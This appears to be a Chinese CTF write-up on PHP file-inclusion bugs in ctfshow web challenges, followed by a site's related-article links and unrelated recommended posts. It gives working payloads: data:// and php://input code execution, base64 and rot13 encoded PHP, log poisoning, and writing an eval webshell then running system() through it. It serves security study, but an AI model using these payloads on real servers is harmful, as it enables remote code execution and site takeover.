文件包含与PHP伪协议
文件包含与伪协议
一、无任何过滤措施的文件包含漏洞:(ctfshow-web78):

1、data://协议:
?file=data://text/plain,<?php system('tac flag.php');?>
2、php://filter协议:
?file=php://filter/read=convert.base64-encode/resource=flag.php
得到 base64加密过后的数据,对数据进行base64解密即可得到flag
3、php://input协议:
?file=php://input
然后使用POST方法发送php代码:<?php system('tac flag.php');?>

4、file直接包含:
file的使用存在前提:
allow_url_fopen = On
allow_url_include = On
使用file协议需预知flag文件路径:
?file=/var/www/html/flag.php
二、过滤 'php':(ctfshow-web79):

1、data://协议 + PHP短标签:
?file=data://text/plain,<?='tac flag.php'?>
tac flag.php应用反引号扩起
<?=为PHP短标签,作用等效于 <?php echo
2、data://协议 + base64编码:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
3、php://input协议大小写绕过:

三、Nginx日志写入(ctfshow-web81):
Nginx的日志文件 access.log 默认配置路径为 /var/log/nginx/access.log

:被过滤,伪协议失效,通过Wappalyzer得知Web服务器为Nginx,且代码未作对于Nginx默认日志访问路径参数的相关过滤,考虑使用 Nginx日志写入一句话木马。

四、file_put_contents() 函数(ctfshow-web87):

.被过滤,无法实现access.log的日志写入,但是可以根据fil_put_contents()函数的函数特性,构造新文件shell.php,在shell.php中写入一句话木马拿权限。
?file=php://filter/write=string.rot13/resource=shell.php
由于urldeocde()函数,需要对?file=的参数进行url双编码(浏览器解码一次,urldecode()函数解码一次)
content参数使用POST方法请求:
content=?<hp pe@av(l_$EG[T]1;)>? (rot13编码)
如下图所示:

最后访问/shell.php连接一句话木马:
/shell.php?1=system('ls');
/shell.php?1=system('tac fl0g.php');
五、iconv过滤器(stfshow-web117):

代码中过滤了绝大多数 php://filter 过滤器,但是未过滤 iconv过滤器:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
contents参数为指定字符编码:


文件包含与PHP伪协议的更多相关文章
- PHP文件包含及使用伪协议getshell
file:// - 访问本地文件系统 http:// - 访问 HTTP(s) 网址 ftp:// - 访问 FTP(s) URLs php:// - 访问各个输入/输出流(I/O streams) ...
- php 文件包含base64读取文件 preg_replace函数
解题部分题目来源攻防世界web高手进阶区1.拿到题目以后,发现是一个index.php的页面,并且设备-没有显示完全,此位置可疑.2.源代码中发现?page=index,出现page这个get参数,联 ...
- PHP文件包含学习笔记
看完下面的几篇文章,然后从第8行开始以后的内容可以忽略!此文是个笔记梳理,是对大佬文章简单的COPY记录,方便以后查看,自己只复现了其中的例子 参考文章: PHP文件包含漏洞利用思路与Bypass总结 ...
- web文件包含
web安全~文件包含总结 文章来自freebuf,作者总结的很好,所以拿来做笔记用!!! 0×01 文件包含简介 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当P ...
- web安全~文件包含总结
文章来自freebuf,作者总结的很好,所以拿来做笔记用!!! 0×01 文件包含简介 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大 ...
- ✔PHP文件包含漏洞全面总结
我的另一篇博客总结的不够全面,但依然有借鉴价值:https://www.cnblogs.com/Zeker62/p/15192610.html 目录 文件包含的定义 文件包含漏洞常见函数 文件包含漏洞 ...
- 文件包含漏洞(DVWA环境中复现)
LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'page' ]; ?> 可以看到,low级别的代码对包含的文件 ...
- DVWA之File Inclusion(文件包含)
目录 LOW: Medium: High Impossible LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'pa ...
- CTF 文件包含与伪协议
正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议. 先放出原文链接(http://www.freebuf.com/column/150028 ...
- 风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击
风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击 文件包含漏洞 参考文章:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 分类 ...
随机推荐
- [oeasy]python0074_修改字体背景颜色_background_color_背景色
修改背景色 回忆上次内容 上次将asciiart和颜色一起来玩 7 种基本色 变化多端 不过到目前为止 改的 都是前景色 背景色可以修改吗? 重温参数 具体动手试试 print("\033[ ...
- 软件设计 软件设计模式之SOLID原则
软件设计模式之SOLID原则 By:授客 QQ:1033553122 #单一职责原则(SRP) 定义:任何一个软件模块都只对某一类行为者负责 说明:这里"软件模块",在大部分情况下 ...
- VUE系列之性能优化--懒加载
一.懒加载的基本概念 懒加载是一种按需加载技术,即在用户需要时才加载相应的资源,而不是在页面初始加载时一次性加载所有资源.这样可以减少页面初始加载的资源量,提高页面加载速度和用户体验. 二.Vue 中 ...
- 带你学习通过GitHub Actions如何快速构建和部署你自己的项目,打造一条属于自己的流水线
本文主要讲解通过github的actions来对我们项目进行ci/cd 一.actions简介 GitHub Actions 是一种持续集成和持续交付 (CI/CD) 平台,可用于自动执行生成.测试和 ...
- TCP和KCP协议
TCP协议 KCP是一个快速可靠协议,能以比 TCP 浪费 10%-20% 的带宽的代价,换取平均延迟降低 30%-40%,且最大延迟降低三倍的传输效果.纯算法实现,并不负责底层协议(如UDP)的收发 ...
- (六)Redis 消息队列 List、Streams
Redis 适合做消息队列吗?有什么解决方案?首先要明白消息队列的消息存取需求和工作流程. 1.消息队列 我们一般把消息队列中发送消息的组件称为生产者,把接收消息的组件称为消费者,下图是一个通用的消息 ...
- python adb 安卓app性能测试
主要是进行cpu.内存.冷启动.热启动.流量.电量的监测 可获取到相关数据,同竞类产品对比,或者同版本对比 cpustatus adb命令:adb shell "dumpsys cpuinf ...
- 【Git】Gitee 码云的使用
1.注册.登陆.设置配置 以上步骤省略,不需要太多指示操作 2.配置SSH公钥: 先进入自己的用户目录下面 C:\Users\Administrator\ 然后右键空白位置[Git Bash Here ...
- 【Hibernate】06 查询API
三种查询API - Query 不需要SQL语句,但是要HQL语句 - Criteria 不需要任何QL语句,直接调用即可 - SQLQuery 调用底层的SQL语句实现 什么是HQL? Hibern ...
- 【Vue】Re07 插槽Slot
一.插槽基本使用 <!DOCTYPE html> <html lang="en"> <head> <meta charset=" ...